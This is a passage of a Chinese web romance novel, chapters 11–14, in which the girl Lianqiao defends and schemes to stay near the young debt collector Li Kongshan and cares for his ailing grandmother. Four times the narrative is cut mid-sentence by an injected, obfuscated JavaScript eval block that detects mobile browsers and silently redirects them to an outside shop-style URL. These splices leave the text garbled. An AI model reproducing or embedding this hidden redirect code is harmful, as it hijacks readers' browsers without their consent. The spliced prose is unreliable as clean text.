林婶解释:“老太太身子不好,不想拖累空山,非要一个人住在乡下,李空山做过好多次思想工作嘞,可惜老太太就是不听。” 连翘把筷子放在碗上,盯着忙前忙后终于肯坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165868|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来的林婶:“那李空山的妈妈呢?这么多年她有没有回来找过李空山?” 林婶的表情出现微妙的变化,盯着面前的碗的目光颤了下,犹犹豫豫看向连翘:“孩子,我看空山这小子愿意接纳你,我就不把你当外人,你听我说,我跟你说李空山妈妈的事儿,你以后可千万别在他面前提起,不然他可是会跟你急眼的,换做他奶奶也一样。” “这么严重?” 连翘难以想象李空山的妈妈与他之间究竟发生了什么。 “婶婶,你放心,我绝对不会在李空山面前提起。” 她摆出发誓的手势,笑着看着林婶,目光里满是坚定和纯澈。 见她如此,林婶也就放心许多,看着连翘缓缓解释:“他妈妈好像干了犯法的事……警察至今找不到她人在哪儿。” 十一年前,警察来到清流镇找到李空山和他的奶奶,追寻李空山母亲的下落,也是那个时候,婆孙两人才得知彭曼参与了一起大型儿童拐卖案,并且还是核心成员之一。 当年被拐卖的这批孩子,有的成功找了回来与家人相认,有的至今不知下落,而犯罪团伙中的主要几个核心人物也逃匿不知所踪,警察在周围的省市找寻几年都没有结果。 这也是李空山至今仍然非常痛恨彭曼的原因。 “所以啊,不管是谁,只要跟李空山提他的妈妈,他都会翻脸不认人。” 林婶一边给连翘夹菜,一边继续说:“彭曼不仅抛下了他,还是个绑架犯,这不,李空山这小子觉得蒙羞,从不把她当做妈妈,久而久之,仇恨甚至取代了思念。” “原来是这样。”连翘思索后说:“他妈妈是个怎样的人不重要不是吗,只要李空山这人心眼不算坏就行。再说了,没有妈妈的李空山也努力活到了现在,足以证明他很坚强很勇敢。” 林婶不厚道地笑了,八卦的目光打在连翘身上,“我倒还是第一次见你这种人。” 连翘吃东西的动作顿住,不解地盯着对面的林婶:“哪……种人?” 林婶摇摇头,温和笑着,“没什么,就是觉得挺稀奇,跟李空山这小子认识不久的人,从来不会说这种话——我指的是……他的好话。” 连翘见林婶一直给自己夹肉,倒也懂得礼尚往来,笑着给林婶也夹了一块大肉,“婶婶,你也吃。” 她将手收回,看着林婶,“婶婶怎么就肯定我才认识李空山呢。” 女孩笑着将碗里最后剩下的几口饭吃下去,嘴里都是东西,腮帮子鼓鼓的,窗外的阳光正好打在她的脸上,她眉眼弯弯,笑得很开心。 “哎……” 林婶站了起来,还想再追问点什么,然而女孩已经率先站起来,挥挥手跑出门口,声音回荡在楼道里。 “婶婶,谢谢你今天的款待,改日我一定好好感谢你!” 见连翘急着离开,林婶也不再挽留,笑着坐了下来,只是刚才连翘说的那句话仍然让她疑惑不已。 不是第一次,那意思是…… 11. 第 11 章 李空山从奶奶家离开以后,便沿着河边小路往镇上走,小镇人虽不多,但也比清冷的乡下要热闹不少。 这不,他刚在街上没走多久,就被一个巷子口里戴着老花镜的老爷子给叫进去。“哎,小帅哥,别走,你过来,快过来。” 李空山自顾自往前走没注意到老爷子,着急的老爷子从巷子口里追出来:“喂!我说我叫你呢,你走那么快干嘛。” “我?” 意识到哪里不对,李空山翁然顿住脚步转身,疑惑地指着自己。 老爷子见李空山总算停下来,乐得笑开花,露出昨天刚镶的金牙,“对对对,我就是叫你,你快过来,我有话要和你说。” 李空山狂妄地半眯着眼打量他,两手放进裤兜里,一副目中无人的模样,“我说你谁啊,咱俩以前认识吗,你是我谁啊,你让我过去我就过去。” “哎!小帅哥!你这就不懂了吧!”老爷子像是很怕被人发现自己一般,小心翼翼地走出巷子把李空山拉进来:“我叫你过来说会儿话,是有重要的事告诉你。” 一张小学生用的课桌,一块“一流算命大师”的招牌,一个放满木签的竹筒…… 李空山忍不住在心里翻白眼,他就知道这老爷子看上去不像是什么好人,现在看来还真是——想从他李空山这里招摇撞骗算命骗钱?想都没想。 李空山把手从老爷子胳膊肘里甩出来,退后与老爷子保持距离,“我管你什么一流的三流的,干你们这行的套路我清楚得很,别想在我这儿骗钱,要骗就找别人去,我可没工夫跟你在这儿瞎耗。” 傲慢的少年不屑离去。 老爷子赶紧拉住他的手臂拖住他,一改刚才的热情,可怜兮兮祈求,“哎,别走,我是真觉得你这人看上去不一般,我算命很准的,让我给你算一卦呗。” 于是就这样,刚走出去没几步的李空山又被老爷子强行带回位子上。 老爷子乐呵呵拍拍李空山的肩膀,“小子,你好好坐,这卦我绝对算得好。” 李空山不屑地“切”了一声,“我看你这人长得就不像什么好人,算出来的东西绝对也不怎么样。” 老爷子才不因李空山这番打击的话而有所动摇,他闭上眼睛嘀嘀咕咕念起一段话,随后把放着不同卦象的木签筒在手里使劲儿摇。 完毕之后,他将木筒递给李空山,笑着说:“抽一个呗。” 李空山虽打心眼里不相信算命这种玄乎的事儿,但是已至此,她也只好配合着老爷子继续,他倒要看看这老爷子能给他弄出个什么名堂。 “诺。” 少年心高气傲,自己一眼不看就直接递给老爷子。 顿时,老爷子眼里像开了光一般,激动地从李空山手里接过这根木签,“这是上上签啊!小子——” 他抬起头注视着眼前的少年,“这签上的卦象显示,你虽命运忐忑,但终抵彼岸,此乃大富大贵之象啊!” “不仅如此——”老爷子接着往下说,“卦上显示,你在十八岁的时候会遇到一个对你一生都很重要的人,魂牵梦绕是她,日思夜想是她,历经所有苦难只为见的人也是她。小子,这意味着,你很在意她,你这辈子啊……离不开她喽。” “去去去,什么离不开。” 李空山此刻更加坚信老爷子就是个招摇撞骗的家伙,“你说前半句大富大贵我还相信,后半句什么鬼,你还能再扯一点不。” 他直接站了起来,“想骗我李空山的钱?休想。像你们这行的套路我见多了,你这些话怕是对好多人都这么说的吧。” “一边去,我还赶时间呢。”李空山踢开腿边的凳子直接想要往外走。 老爷子连忙拉住他:“哎,别着急啊,我说的都是真的,你可别不信!” “卦上显示,你最近遇到很多不顺心的事,但与此同时,她也出现了,李空山,如果我猜的没错的话,你最近遇到的女孩就是你命中注定再也离不开的人!” 李空山甩手往前走,不打算搭理老爷子,只是暗自嘀咕:“连我名字都知道,还说自己不是骗子,这不是早就打听好的还能是什么。” * 刚才吃饭的间隙里,连翘忽然想起一件很重要的事。 没错,她也要给李空山做香喷喷的饭。 她想好了——既然怎么装凄惨都没用,那还不如用点实际的招数,等李空山发现她烧得一手好菜,到时候肯定舍不得赶她走。 美妙的畅享倒是很完美,只是眼下有一件相对棘手的事。 站在集市里,连翘得意看见石桌长廊上摆满农民采摘来售卖的蔬菜,集市中心挂满红润的猪肉和牛肉。 不过问题是……她低下头摸了摸自己的口袋,她全身上下只有五块钱,根本没办法买东西,更别提给李空山做顿好吃的。 口袋空空,连翘的心也变得空空如也,她眼巴巴地望着其他人掏钱买东西,而自己手里攥紧的五块钱却显得有些无所适从。 连翘深呼吸一口气,安慰自己说:“没关系,虽然不能弄大鱼大肉来打动他,但我可以熬汤,没错,就熬汤。” 至少连翘现在的五块钱还能支撑她去买两个鸡蛋、两根杏鲍菇。 杏鲍菇蛋汤可是她相当拿手的一道菜。 “让一让,让一让。” 恰逢从外地拉杏鲍菇来卖的小货车在便宜卖,车边围满了人,连翘凭借着自己瘦瘦的身子,费了些劲儿才挤进去。 然而,兴致冲冲准备挑选杏鲍菇的连翘却被其他的声音吸引了注意。 一个满脸赘肉的油腻青年斜靠在车头的位置,手里夹着烟,表情戏谑,正和卖杏鲍菇的老板普及这里的新鲜事。 “你是不知道,咱儿这儿的人都很靠谱,但有个例外——帮着黑头子收债的一个小子,叫李空山,贼不靠谱。我平常最看不惯他了,啥本事都没有,一天天的还拽得不行,他这人奸诈得很。老板我跟你说,你以后要是遇到他,都得绕路走。什么偷奸耍滑、欺软怕硬的事他都干得出来。” “嘭——” 连翘把手里刚相中的一根杏鲍菇甩了出去,心里带着气儿,饶过人群向青年那儿挤去。 青年把烟放在嘴里吸一口,往外吐出一口气,惹来旁边阿婆的嘀咕:“要抽烟去别地儿,没看到这儿这么多人吗!” 青年嘚瑟不已,闭着眼睛嚣张说:“我就爱在这儿,你管得着吗。” 翻了个白眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165869|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,青年继续笑哈哈跟卖杏鲍菇的老板聊天,虽然老板忙着称东西并不想搭理他,但青年却乐此不疲。 “李空山这小子还是个犯罪的坏女人的儿子,坏女人生下来的不会是什么好东西,依我看啊,这李空山以后也会走他老娘的老路。” 突然想到什么,青年又哈哈大笑起来,“也说不准,也许他会在这儿帮人收一辈子的债,这辈子的出息也就这点儿了,二流子嘛,以后绝对没出息!” “说谁没出息呢!” 连翘用杏鲍菇指着皮肤被晒得黝黑的青年,“李空山碍着你了吗,你在这儿说他坏话,你信不信我替他好好教训你,让你知道什么叫做礼貌!” “你谁啊你。” 青年不屑地眯眼,上下打量连翘,随后又不怀好意地笑了下,“哟,长得倒是还行,就是身材嘛……缺点料。” 他抬了下头,恶劣打趣:“咋的,李空山最近换口味了,好这口啊。” 伴随着青年不怀好意的笑,连翘挥起手里的杏鲍菇就要朝青年甩过去,只是下一秒被惊乍赶来的宇瑞所阻止。 宇瑞的嘴因极度紧张而呈“o”型,夺走连翘举起的杏鲍菇,“姑奶奶,你这是干什么你,想教训人就教训,你也不好好看看这人是谁。” 连翘心中气焰正盛,恶狠狠地盯着对面的人:“我管他是谁,反正狗嘴里吐不出象牙,绝对不是什么好东西!” “罪过,罪过!” 宇瑞笑着看向青年,“不好意思啊,这孩子不懂事,你别跟她一般见识。” 他拉着连翘往外走,“这种人咱惹不起,能躲远点躲远点,你难道也想像我空山哥那样去局子里蹲几天吗。” 连翘想要挣扎:“说错话的人是他,就算要蹲局子,那也是他蹲。” “你是真不知道啊?你刚刚起冲突那人可是镇长的儿子,惹了他可没你什么好果子吃。也只有什么都不放在眼里的李空山敢跟他叫嚣,你一个女孩子,懂不懂见机行事。” “我还真就不懂了。” 找准机会从宇瑞手里挣脱出去的连翘跑回到车头倚靠抽烟的青年面前,“你赶紧道歉,说你刚才说错了,说你不该说李空山的坏话!” 青年把烟从嘴里拿开,左手放在兜里,“你算老几啊,你说什么我就做什么,你以为你是谁啊。” 连翘一脸笃定:“李空山是这世界上最好的人,就算所有的人都不会有出息,但李空山绝不会!他一定会有出息,会有很大很大的出息,比你们所有人都厉害!” 青年“呵”了一声。 “有点意思,什么时候连李空山这种人也有个对他这么迷恋的小粉丝了?” 青年的手想要搭上连翘的肩,被连翘一把推开:“别用你的脏手碰我。” 毕竟在场还有这么多人看着,青年没有办法,只好把手收回,目光里对连翘的好奇更多了些,笑着说:“性子倒挺烈。” 他把手摊开举在肩侧,“行,就当我刚刚的话说得不对,不过我还真挺好奇,李空山那混蛋跟你什么关系,你这么护着他?” “不关你的事。” 连翘把选好并放进袋子里的杏鲍菇递给老板称重,全程不再搭理青年。 12. 第 12 章 看热闹的人群逐渐散去,站在路边一直看热闹的李空山也一声不吭地调头拐进另一条小道。 刚才的一切——他都听见了。 为了不再节外生枝,宇瑞把连翘拉到另一边,躲开青年等人的视线。 宇瑞问她:“你刚刚怎么突然那样,这和我在田永贵那儿看到的你可不同,就像两个不同的人。” 在田永贵家里讨债那天,女孩沉默不语始终保持漠然的模样宇瑞可没忘记。 所以,今天她为了维护李空山名誉而毅然决然和青年“对抗”的反常行为也令他想不通。 连翘确认周围没人,转头问宇瑞:“如果我说是因为我发自内心不想有人说李空山的坏话,你信吗?” 宇瑞愣住了。 有那么一刹那,流露在连翘眼里的情感让他差一点怀疑刚才的话不是玩笑话。 “逗你的。” 连翘两手背在身后,慢慢往前走,整个人看上去释然不少,“我只是为了我自己。” 两只麻雀鸟停在街道两边的屋檐上,清风徐徐吹过,卷起小镇人家晾在窗外的衣裳。 女孩的声音在静谧中随之响起。 “李空山出去了,去看他的奶奶,刚才那条路是他回来的必经之路。既然有人在大庭广众之下诋毁他,我就敢在大庭广众之下维护他,我已经把话说到这个份上……想必你已经明白了吧。” 宇瑞又惊讶又气愤:“你算计我哥!你在赌这些话会有一天传到他的耳朵里,你在赌……他也许刚才就在人群中?” “好哇你。” 宇瑞站到连翘面前,挡住她的去路:“你这么处心积虑地算计我空山哥,你到底想做什么!” “很简单啊。”连翘冷冷的目光落在宇瑞肩上,“我说了,我做的一切——都是为了我自己。” “……” 宇瑞一时语塞,他想象不出一个十七岁的女孩究竟心里想的是什么,能让她做出如此多超乎同龄人的事。 连翘见宇瑞神情复杂,倒也不意外,笑着说:“其实你应该感谢我,而且我想我们之间还能达成很好的合作。” “感谢你?合作?” 宇瑞个子不算太高,只比一米六五的连翘高出五六厘米,人还瘦瘦的,嘴巴有点地包天,打架打不赢,要债没气势,作为一个男生,的确在外形上不占优势。 所以,他才如此拼命地想要巴结李空山,好求得在清流镇能有一丝立足之地,不至于像以前一样到处被人欺负。 他想要靠李空山走上高位,不再被人低看。 “对啊。” 连翘缓缓解释:“你——想要靠李空山的位子往上爬,你想要做李空山眼前的红人,不再被人看不起。可问题是……李空山现在好像要走了,他打算离开清流镇哎?” 女孩说得轻松自在,仿佛这件事只关乎宇瑞一个人的利益,且干系重大。 “他如果走了,你靠什么上位?你做谁眼前的红人?据我说知,黑武帮里数一数二的核心人物都不好接近,只有混迹在街头过一天算一天的李空山是个例会吧。” “所以——李空山是你最好的机会,也是你唯一的机会。” 她浅浅一笑,继续往前走,手背在身后,像极了一个无忧无虑的女孩,“我的目的很简单,我也想要李空山留下,既然如此,我们何不合作一把?” 宇瑞迟疑地盯着连翘,“你先把空山哥留下来,不走?” 连翘轻轻点头。 宇瑞不为所动,神情鄙夷。 “呵,我说你是痴人说梦,还没醒呢。让空山哥离开清流镇到外面去找份好工作可是他奶奶的意思,你刚认识他,可能不了解,空山哥的奶奶是他这辈子最重要的人,他奶奶提出的要求,空山哥不可能不答应。” “既然你也知道关键在哪儿,想要让李空山留下,简不简单还用说?” 宇瑞愣了下:“你想利用空山哥的奶奶?” 连翘无所谓地摇头,反驳宇瑞,“不对,不是利用,只是顺道借用一下她的名义而已。” “你打算怎么做?” 连翘招招手,示意宇瑞走近些。 她低声说…… * 李空山绕远路,漫无目的走了好一会儿才回到院子。 坐在门槛处的连翘一见到李空山就立即站起,欣喜不已的她一边招手,一边呼唤他的名字。 “李空山,你回来啦!这儿呢!我在这儿!” 女孩笑得很开心,嘴角弯弯,荡漾着笑意。 两手放在裤兜里的李空山漫不经心瞧她一眼,假装没看见似儿的,若无其事地跨过门槛走进院子。 “等等我……” 连翘不气垒也不伤心,立即转身跟着李空山上楼。 “李空山,今天我去买了鸡蛋和蘑菇,给你做了杏鲍菇蛋汤,还在锅里捂着呢,你可以去尝尝好不好喝。” 门开了。 李空山走进去,“嘭”的一声把门关上。 还在外面的连翘懵懵懂懂,眨了眨眼睛,两手放在门上,声音弱了不少,“李空山……你不让我进去了吗……” 几秒过后,门被人从里面打开。 李空山靠在门边,两手交叉放在身前,傲慢不已,垂下目光,若有所思打量眼前的人,“还想进来?” “想!” 连翘呈上一个浅浅的笑容给李空山,看向他的目光里充满渴望和期待。 李空山若有所思,漫不经心看了眼身后,端着手说:“让你进来倒是可以,但你得老实回答我一个问题。” “什么问题?” 连翘浅浅笑着,眨眨眼睛,不敢把内心的慌张和不安暴露在表情中。 “接近我,就真的只是为了继续回去读书?摆脱田永贵?” 还好只是这个问题。 连翘非常笃定,摆出发誓的手放在脑袋边:“当然,我可以发誓!” “还有一个问题。” 李空山偏着脑袋,似笑非笑盯着连翘:“你怎么这么爱维护我啊?难道爱上我了?” 连翘的眼神开始躲闪,但并没有慌神的她很快重新对上李空山的目光,“如果你希望是的话,也可以这么想。” 少年不语,继续面无表情盯着眼前的女孩,四周静静的,这是李空山第一次感受到有人似乎在试图闯进自己的世界。 有点儿无措。 还有点儿心慌。 “那我现在可以进去了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165870|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连翘抬起头笑着看向李空山,期望从他的口中得到肯定的回答。 如果没有呢? 如果没有,那她就直接钻进去。 她刚一脑袋挤进去,就被李空山用手掌按住额头挡下。 他低头凑到连翘眼前:“做什么?” 连翘笑了下:“汤好像要凉了,我去给你盛汤。” 少年“切”了一声,漠不关心转身朝里走去,没再继续阻拦连翘。 在无人知晓的地方,他也不自觉扬起嘴角。 * “好喝吗?味道怎么样?” 连翘两手撑着脸,翘首以盼对面的人的回答。 少年敷衍了事,“一般般。” 她“哦”一声,指着桌面的碗,“一般般那你还给喝完了?” “你一个小姑娘,懂什么懂。” 不以为意的李空山丝毫没觉得不好意思,漫不经心把手放在身后的椅背上,这一次他难得放下芥蒂,愿意和她说说话。 “喂,我问你个事啊,你要是遇到个算命的,你信不信?” “算命的?” 连翘认真想了想。“我得看情况吧,但是我知道你肯定不会信。” 见她这么自信,李空山忍不住“哟”一声,“你怎么知道?” 连翘冲李空山扬起淡淡的微笑,目光落在桌面被喝的一干二净的汤碗上,仿佛她透过眼前之物,看到自己千里之外的信仰。 “因为我知道,李空山啊,只信自己——” 屋内的灯光照映在两个人的脸上,衬得少年少女的脸庞格外动人。 棱角分明又锋利的少年一向敢说敢作、雷厉风行惯了,可是在这一刻,他却快要失了分寸。 似笑非笑的李空山渐渐放下自己为了掩饰某些东西的嘴角,盯着连翘的眼睛,一眼不眨。 “怎么整得好像你很了解我一样。” 连翘端起碗准备拿到厨房去洗,一边转身,一边心不在焉说:“那是,我可是缠了林婶好久,她才愿意跟我说一说你的。” 李空山轻轻“呵”一声,目光垂下,盯着随意把弄的手,轻声说:“就算是林婶也不知道好吗。” 现在的李空山越来越搞不懂连翘背后究竟藏着什么秘密——至少他知道,这个女孩绝对不止他所想象的那般简单。 就在连翘进厨房洗碗的间隙,门外传来急促而杂乱的敲门声。 “谁啊。” 还在低头纳闷的李空山面不改色站起来,走到门口去开门。 “宇瑞?你不好好带人看着田永贵,跑我这儿来干什么?” “哥!大事不好了!” 一路跑来没歇一刻,宇瑞抚着门,大口喘气,上气儿不接下气儿的,仿佛要是没了这扇门,他能直接栽地下。 “什么事这么急,有啥事明天再说不行?” “这可真不行!” 右手按住膝盖的宇瑞努力站起,即便还在喘气没彻底缓过来,但他还是坚持把话说下去,“哥,你奶奶出事了!乡下的人来消息说,你奶奶全身起疹子,痛得现在都起不来。” “什么……” 李空山一句话不说,直接把宇瑞推到一旁,自己径直跑出去,冲下楼。 13. 第 13 章 在厨房里的连翘听闻动静走出来。 她注意到门口的宇瑞,疑惑问道:“你怎么在这儿?” 宇瑞说:“空山哥的奶奶出事了,我来通知他。” “突然出事?” 连翘管不得那么多。 她知道李空山刚走,放下手里的活儿,二话不说追了上去。 宇瑞看看空荡荡的楼道,又看看自己,暗自疑惑:“我……是不是也该……追上去?” * 匆匆赶来,李空山径直冲进屋子,“奶奶,你没事吧?” 他将躺在床上的老人扶起,看着满身的红疹子,眼里皆是心疼。 “空山来啦……我没事。” 老太太的声音听起来有些虚弱,面色也苍白不已,红疹子虽然消散一些,但还是遍布全身,她见李空山来了,心里是不乐意的。 “刚才谭医生给我看过了,开了药,你奶奶没事。倒是你,不好好在镇上待着,跑到我这里来干什么。” “怎么,你孙子来看看你还不行啊。” 李空山严肃地看着自己搀扶着的老太太,“你是我在这世上唯一的亲人,我不允许你出任何意外。” 同样赶来的连翘站在门口没敢进去,悄悄探出脑袋张望,她盯着李空山眼里的心疼挪不开眼。 她震撼又诧异——原来看上去没心没肺的街头混混李空山真的能有如此心疼一个人的眼神。 那她以后还有机会再看到吗?或者说——以后她还有机会看到他对第二个人流露出这种眼神吗? 未来她不知道,但至少在这一刻,她无法想象这世上会有这样的“第二个人”存在。 李空山询问谭医生自己奶奶的状况,医生告诉他,奶奶年纪大了,抵抗力不如年轻人,所以很容易感染病菌,起这种发红泛疼的疹子。 再三确认能彻底好转,李空山这才从谭医生的店里取药离开。 路上,李空山看见了一直在自家乡下老家院子外逗留的连翘。 他面不改色走过去,一改方才心事重重的模样,不想被任何人看穿自己的内心。 “你怎么在这儿?” “我一直在这儿。” 连翘眨眨眼睛看向李空山,她能明显感受到李空山和之前的轻狂随意有些不一样,此刻的他看上去是心情异常沉重。 连翘解释:“我跟着你来的,但是你刚刚走得太着急,都没看见我。” 他“哦”了一声,不想去回想,也对此无所谓。 只当连翘不存在。 李空山继续往里走,准备进屋给奶奶熬药。连翘连忙夺走他手里的中药,笑着说:“我来我来,李空山,这种事儿交给我吧,我最擅长了。” 她踮起脚尖拍拍李空山的肩膀,不经对方同意,自个儿先把他当做好哥们。 “你一个男的肯定很少干过这种事,像什么火候啊,药渣的处理啊,肯定都不知道。我都白吃白喝住你那儿了,这点事交给我做是应该的。” 她拍着胸脯,保证自己一定能把事儿办好,自顾自转身往屋里走。 李空山抓住她的衣角,像是揪尾巴似儿的,眉眼冷淡。 他指着右手边的侧屋,不耐烦:“厨房在那儿。” 连翘顺着李空山的目光看过去,心虚地“哦”了一声,随后笑着笑着,蹑手蹑脚跑过去。 李空山走进屋子,躺在床上的奶奶闻声坐起,脸上挂着“令人匪夷所思”的笑。 李空山给奶奶倒一杯水,心中莫名瘆得慌,“你……干嘛?” 奶奶笑得格外灿烂,八卦的心思早已藏不住,大张旗鼓从斜睨着的眼角处钻出。 “刚才我听到女孩的声音了,空山呐,你和谁说话呢?女朋友?” “奶奶……” 李空山无奈地把水递给她:“我说你一天到晚想些什么呢,你孙子才多大,就开始一口一个女朋友地给我考虑了。” “哎——” 奶奶瘪嘴,一本正经反驳李空山,“你也老大不小,该考虑了,俗话说得好,感情得慢慢培养,你现在满了十八岁不培养,还要等到什么时候培养?” 奶奶热情地把站在一边的李空山招呼过来。“坐下坐下,你快坐下。” “刚才我听那声音多好听啊,小姑娘人长得肯定也很漂亮吧,李空山,你小子藏得可真深呐!” 老太太一边难掩笑意教训李空山,一百年迫不及待八卦,“你咋不把人家女娃娃领进来我看看,难不成女娃娃害羞?” “不是——” 李空山想到连翘当初如何死皮赖脸往他家里钻,毫不犹豫想反驳奶奶口中的“害羞”二字。 “她害羞?想都别想,就算太阳打西边出来她都不会害羞。” 见李空山一口咬定,如此决绝,奶奶似乎想到了什么。 她挑挑眉,乐呵呵笑着,撞下李空山的手臂,“咋的,有故事啊?展开说说?” 意识到不对劲,李空山倏忽站起,忍不住想给自己一个大嘴巴子,反驳道:“不是!奶奶!你完全给我带偏了!” 他一本正经纠正:“我跟外面那女孩一点儿关系都没有!你千万千万别误会喽!” 话音刚落,门外突然传来一声甜润嗓音的呼喊。 “奶奶好!我给你送粥来了!” 连翘端着热气腾腾的粥走进来,满脸笑容,让人觉得亲切又喜欢,尤其是像奶奶这个年纪老人。 李空山顿时明白为什么老太太刚才注意力全然不在他身上,而是一直盯着门口。 “来来来,快进来!” 喜悦涌上心头,老太太惊喜地招招手,示意连翘走近点儿。 连翘给老太太喂粥,老太太拉着连翘的手,满眼欢喜,一眼不眨盯着眼前的人儿,提醒站在一旁漠不关心的李空山。 “空山呐,这女娃娃我可太喜欢了。你得把握住机会啊,这么好的女娃娃。” 李空山“嘁”一声,满不在乎地走出屋子。 * 夜幕早已降临,群山拉上黑夜的帘幕,路边传来青蛙的“呱呱呱”的叫声。 李空山两手放在裤兜往前走,漠不关心身后一路跟着自己的女孩。 连翘努力走快点儿,跟上李空山的步伐。 “李空山。” 她唤他的名字。 “你今天一直不对劲,是不是还在担心奶奶?” 他轻轻“嗯”一声,继续往前走,一点儿没要等人的意思。 连翘想了想,重新追上李空山,“既然你要离开清流镇,为什么不把奶奶带上呢,这样奶奶在你身边,你也能放心些。” “我何尝不想,可是奶奶不愿意啊,而且奶奶年纪大了,往外跑,身体吃不消。” 连翘:“哦……” 两个人沉默很久,继续走一段路以后,李空山突然停下,两手放在衣服兜里,借着月光静静地盯着路面。 “如果是你,你会怎么选?” 虽然李空山问得很简单,但连翘知道他话里什么意思。 “如果是我……” 连翘认真思考,“我想,我会和最爱的人待在一起,留在最爱的人身边。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165871|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她走到李空山身侧,认真开口:“你想啊,人的一生多短啊,不知不觉就过去了。上学、毕业、工作、结婚、生子……每个阶段都会有不同的事情和意外,珍惜当下永远是最重要的,珍惜身边最爱的人也永远是最重要的。” 连翘在眼前的分岔路口停下,指着脚下的路,“你看,我们永远不知道下一个路口,他们还在不在我们身边,所以……能陪伴的时候,一定不要错过机会,不是吗?” 她扭头看向李空山,少年的目光暗淡不已。 月光洒在他的肩头,给予本不属于他这个年纪的重担。 李空山过了一会儿才开口打破空气的宁静,“你这么说,不会只是为了让我留下,正好帮你有个书读吧?” “是,又不是。” 连翘往身旁的他靠近些,两个人的影子在地面上贴在一起,为此,她很满意。 她看李空山一眼,无所谓地盯着眼前被黑夜笼罩的群山,“至少让你抓住机会陪在最爱的人身边,这句话我是真心的。” * 连翘又在李空山屋里借宿一晚。 当她第二天醒来时,发现楼巩带着一群黑屋帮的人站在院子里,合欢树为他们遮挡蒙蒙小雨,每个人都容光焕发,看上去格外开心。 连翘回头,看着正打开一次性餐盒的他,“李空山,发生什么好事了啊,外面怎么这么热闹?” “热闹什么热闹。” 李空山摆好筷子,“当心是你要大难临头。” “不对。” 连翘走到饭桌旁坐下,难掩笑意看着李空山,“你的人一个个的这么高兴,因为你不走了,对不对?” 弯腰的李空山重新站直看她一眼,“你这个脑瓜子看来也不是我想的那么不会变通。” 等他坐下和连翘一起吃早饭后,又补充说:“不过我刚说的可没错,说不准真是你大难临头了。” 连翘双手放在桌上,身子往前倾,认真询问:“怎么说?” 李空山把装满六个小笼包的盒子推到连翘面前。 “我奶奶说你做的饭很好吃,既然你要留在我这儿,就不能白吃白喝,以后有时间帮我去看看她老人家。” 连翘连忙点头,欣喜溢于言表:“好呀好呀,当然没问题,所以你的意思是……我可以留下来?” 女孩的眼里满是期待和惊喜。 “别高兴得太早。” 李空山端着手臂,傲慢地注视着眼前的人,依旧不愿放低自己的姿态一丝一毫,“说不准啊,我对你比田永贵对你好苛刻,你以后自求多福。” 连翘才不被他这句话所震慑,只是欣喜地夹起一个小笼包放到李空山的碗里,“随你怎么说,但我猜你干不出这么缺德的事儿。” 李空山无从辩解,冷不丁喊她一声,“喂,你之前说的那个还奏效啊,田永贵的债,你读书的钱,吃我的用我的一切开销,以后可全都得还我。” “放心!我一定说到做到!” 连翘的眼里藏满喜悦,眉眼弯弯地看着李空山,嘴里的小笼包还没咽下去,嘴巴鼓鼓的。 “前提是,如果我很有钱的话。” “哎,你……” 李空山刚准备反驳,连翘立马改口,笑着说,“跟你开玩笑呢,我的意思是,不管有没有钱,欠你的,我一定全都还上!一定!” 女孩一直记得自己这一天的誓言。 只是后来的她失去李空山的消息很久很久以后,她才终于明白,自己这一生已经欠了李空山太多。 终其一生,无法还清。 14. 第 14 章 田永贵被放走了,但以后永远不准再去找连翘的麻烦——这是李空山的命令。 黑武帮的黑子得知李空山不会离开清流镇,也很高兴,但他想不通李空山为什么要为一个毫不相干的人还清田永贵的债。 只是听说——此人名叫连翘。 “连翘?” 黑悬站在猫头鹰挂钟前再三重复她的名字。 他招招手,站在门口的人随即进来,停在他的身后,问:“老板,您有什么吩咐?” 室内灯光很暗,除了窗户外透过一点微光,室内再无其他光源。 黑悬停顿几秒,轻轻启动唇瓣,“你找人去找找这个叫连翘的什么底细。” “是。” * 连翘得知李空山已经帮她交齐所有的学费,并且明天就可以重新回到学校,一上午都兴奋不已,在屋子里来来回回走了好多次,差点把李空山都给绕晕。 “我说你至于吗?高兴得跟个傻子似儿的。” 